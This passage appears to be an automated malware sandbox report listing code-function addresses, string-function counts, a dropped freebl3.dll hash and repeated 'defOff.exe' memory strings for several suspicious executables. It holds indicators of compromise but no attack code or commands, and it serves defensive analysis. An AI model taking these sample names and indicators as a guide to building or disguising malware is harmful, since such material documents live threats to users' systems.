Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB90700	4_2_6CB90700
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB200B0	4_2_6CB200B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEC0B0	4_2_6CBEC0B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB08090	4_2_6CB08090
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBD8010	4_2_6CBD8010
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBDC000	4_2_6CBDC000
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB5E070	4_2_6CB5E070
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB101E0	4_2_6CB101E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB86130	4_2_6CB86130
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBF4130	4_2_6CBF4130
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB78140	4_2_6CB78140
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC962C0	4_2_6CC962C0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBDE2B0	4_2_6CBDE2B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBE22A0	4_2_6CBE22A0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBE8220	4_2_6CBE8220
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBDA210	4_2_6CBDA210
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB98260	4_2_6CB98260
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBA8250	4_2_6CBA8250
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB6E3B0	4_2_6CB6E3B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB423A0	4_2_6CB423A0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB643E0	4_2_6CB643E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB82320	4_2_6CB82320
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC2C360	4_2_6CC2C360
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC52370	4_2_6CC52370
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB12370	4_2_6CB12370
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBA6370	4_2_6CBA6370
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB18340	4_2_6CB18340
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC4DCD0	4_2_6CC4DCD0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBD1CE0	4_2_6CBD1CE0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB21C30	4_2_6CB21C30
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC39C40	4_2_6CC39C40
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB13C40	4_2_6CB13C40
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB03D80	4_2_6CB03D80
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC59D90	4_2_6CC59D90
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBE1DC0	4_2_6CBE1DC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB73D00	4_2_6CB73D00
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB33EC0	4_2_6CB33EC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC95E60	4_2_6CC95E60
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC6BE70	4_2_6CC6BE70
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC1DE10	4_2_6CC1DE10
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC2DFC0	4_2_6CC2DFC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC93FC0	4_2_6CC93FC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB31F90	4_2_6CB31F90
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBBBFF0	4_2_6CBBBFF0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB05F30	4_2_6CB05F30
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB45F20	4_2_6CB45F20
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC67F20	4_2_6CC67F20
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC6B8F0	4_2_6CC6B8F0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEF8F0	4_2_6CBEF8F0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB1D8E0	4_2_6CB1D8E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB438E0	4_2_6CB438E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB6D810	4_2_6CB6D810
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBE1990	4_2_6CBE1990
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB21980	4_2_6CB21980
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB759F0	4_2_6CB759F0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBA79F0	4_2_6CBA79F0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB499D0	4_2_6CB499D0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBA99C0	4_2_6CBA99C0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC5920	4_2_6CBC5920
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC5F900	4_2_6CC5F900
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB8F960	4_2_6CB8F960
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBCD960	4_2_6CBCD960
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEDAB0	4_2_6CBEDAB0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB11AE0	4_2_6CB11AE0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC99A50	4_2_6CC99A50
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB4FA10	4_2_6CB4FA10
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC0DA30	4_2_6CC0DA30
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBD9BB0	4_2_6CBD9BB0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB69BA0	4_2_6CB69BA0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBF5B90	4_2_6CBF5B90
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB01B80	4_2_6CB01B80
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB57BF0	4_2_6CB57BF0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB5BB20	4_2_6CB5BB20
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEFB60	4_2_6CBEFB60
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB114E0	4_2_6CB114E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC914A0	4_2_6CC914A0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBF9430	4_2_6CBF9430
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB9D410	4_2_6CB9D410
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB49590	4_2_6CB49590
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB955F0	4_2_6CB955F0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB25510	4_2_6CB25510
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB77500	4_2_6CB77500
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC5F510	4_2_6CC5F510
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB416A0	4_2_6CB416A0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB796A0	4_2_6CB796A0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB87610	4_2_6CB87610
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB39600	4_2_6CB39600
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB29650	4_2_6CB29650
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB65640	4_2_6CB65640
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC537C0	4_2_6CC537C0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB9B7A0	4_2_6CB9B7A0
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_00497049	18_2_00497049
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_00498860	18_2_00498860
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_004978BB	18_2_004978BB
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_004931A8	18_2_004931A8
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_00454B30	18_2_00454B30
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_00492D10	18_2_00492D10
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_00454DE0	18_2_00454DE0
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_00487F36	18_2_00487F36
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_0049779B	18_2_0049779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00BA78BB	19_2_00BA78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00BA8860	19_2_00BA8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00BA7049	19_2_00BA7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00BA31A8	19_2_00BA31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00B64B30	19_2_00B64B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00B64DE0	19_2_00B64DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00BA2D10	19_2_00BA2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00BA779B	19_2_00BA779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00B97F36	19_2_00B97F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: String function: 004680C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: String function: 6CC49F30 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: String function: 6CB39B10 appears 109 times
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: String function: 6CB33620 appears 96 times
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: String function: 6CB6C5E0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B780C0 appears 130 times

Source: 4TPPuMwzSA.exe, 00000000.00000003.1612043432.000000000651A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1605329548.0000000006110000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1616253717.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1613328260.000000000661D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606001423.0000000006425000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1614136563.0000000006535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1610528073.00000000065E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1610264649.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1619178584.000000000642C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1638652183.0000000005FC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606092954.00000000064C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1617193835.000000000642E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1613053663.0000000006422000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1614285514.0000000006424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1616862909.0000000006548000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1607866326.0000000006424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1611126994.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1612227474.000000000660D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1639345691.0000000005FFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1616711150.0000000006424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1638652183.000000000603A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1612684961.0000000006528000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1617027824.0000000006677000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1620330071.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1610769796.0000000006506000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1609303052.00000000064E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1616540499.0000000006667000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608967641.00000000064F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1609934464.0000000006428000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1619852494.0000000006581000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1609194314.0000000006426000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1611004355.0000000006509000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1620011497.0000000006425000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1615925476.000000000654F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1610393666.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1614993556.0000000006427000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1607475314.000000000642D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606359767.00000000064C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608638330.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1618843428.000000000642F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1605896841.0000000006287000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1620485738.000000000657C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608852185.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606551325.00000000064CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1609608048.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1607606414.00000000064DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1611707192.00000000065F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1638652183.000000000600D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1612509887.000000000642F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1612818298.000000000642D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1605329548.0000000006092000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1615126369.000000000653C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1619698753.000000000642E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1619350072.000000000656A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608137912.0000000006599000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608388023.00000000064E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1639615367.00000000066EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1605535880.0000000006431000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1611584928.0000000006509000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1615290748.0000000006422000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1615710077.0000000006422000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1607243234.00000000064D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606171441.0000000006556000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1615442176.000000000653A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1614831410.0000000006535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1619532946.00000000066AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
